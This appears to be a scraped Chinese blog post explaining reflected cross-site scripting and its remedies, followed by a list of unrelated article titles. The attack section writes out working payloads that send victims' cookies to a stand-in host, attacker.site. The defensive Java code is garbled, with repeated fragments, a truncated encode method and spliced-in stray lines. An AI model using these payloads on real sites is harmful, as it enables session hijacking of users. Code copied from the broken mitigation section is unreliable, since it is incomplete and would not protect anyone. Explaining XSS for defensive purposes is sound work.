如何解决跨站脚本攻击
来源:互联网 发布:mac安装adobe flash 编辑:程序博客网 时间:2024/06/09 20:12
摘要: Cross-site scripting(CSS or XSS)跨站脚本不像其他攻击只包含两个部分:攻击者和web站点,跨站脚本包含三个部分:攻击者,客户和web站点。跨站脚本攻击的目的是窃取客户的cookies,或者其他可以证明用户身份的敏感信息。 攻击 一个get请求 GET /welcome.cgi
Cross-site scripting(CSS or XSS)跨站脚本不像其他攻击只包含两个部分:攻击者和web站点,跨站脚本包含三个部分:攻击者,客户和web站点。跨站脚本攻击的目的是窃取客户的cookies,或者其他可以证明用户身份的敏感信息。
攻击
一个get请求
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:
会产生如下的结果
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker
<BR>
Welcome to our system
...
</HTML>
但是如果请求被篡改
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site
就会得到如下的响应
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
这样在客户端会有一段非法的脚本执行,这不具有破坏作用,但是如下的脚本就很危险了。
http://www.vulnerable.site/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)</script>
响应如下:
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)<
/script>
<BR>
Welcome to our system
...
</HTML>
浏览器回执行该脚本并将客户的cookie发到一个攻击者的网站,这样攻击者就得到了客户的cookie。
变体
除了使用<script>这个脚本之外,还可以使用其他的<img src=”javascript:...”>,这样对于过滤
的站点有效。对于<input type=text name=user value=”...”>这样的输入,可以通过如下攻击
<input type=text name=user value=”“><script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.co
okie)</script>”>
解决方法
1,输入过滤:对每一个用户的输入或者请求首部,都要进行过滤。这需要程序员有良好的安全素养,而且需要覆盖到所有的输入源。而且还不能够阻止其他的一些问题,如错误页等。
final String filterPattern="[<>{}\\[\\];\\&]";
String inputStr = s.replaceAll(filterPattern," ");
2,输出过滤
public static String encode(String data)
{
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i < chars.length; i++)
{
buf.append("&#" + (int) chars[i]);
}
final String filterPattern="[<>{}\\[\\];\\&]";
String inputStr = s.replaceAll(filterPattern," ");
2,输出过滤
public static String encode(String data)
public static String decodeHex(final String data,
<!-- Maps the 404 Not Found response code
任何的非servlet例外都被/errPageGeneric路径捕捉,这样就可以处理。
3,安装三方的应用防火墙,可以拦截css攻击。
2 0
- 如何解决跨站脚本攻击
- 解决跨站脚本攻击
- WEB解决跨站脚本攻击过滤器
- 解决跨站脚本攻击函数
- 跨站脚本攻击
- 跨站脚本攻击
- 跨站脚本攻击
- 跨站脚本攻击
- 跨站脚本攻击
- 解析如何防止XSS跨站脚本攻击
- 解析如何防止XSS跨站脚本攻击
- 解析如何防止XSS跨站脚本攻击
- 解析如何防止XSS跨站脚本攻击
- dedecms 如何修补XSS跨站脚本攻击
- Java xss攻击(跨站脚本攻击)
- 如何防御跨站点脚本攻击
- [科普]如何防止跨站点脚本攻击
- 如何防止跨站点脚本攻击
- Lucene学习总结之四:Lucene索引过程分析
- log4j.properties配置详解
- UML序列图总结
- Windows文件操作的API函数
- RAC 环境中最常见的 5 个数据库和/或实例性能问题 (文档 ID 1602076.1)
- 如何解决跨站脚本攻击
- 1020. Tree Traversals
- ofbiz:Amount in cash is greater than total due in webpos
- ThinkPHP学习笔记【第二天】
- 数据交互平台
- 用Canvas为网页添加动态背景
- NSString 与 NSDate 的互相转换 本地日期字符串与UTC日期字符串的转化
- 使用Android SDK Manager下载、更新sdk时的问题
- Linux 查看系统运行信息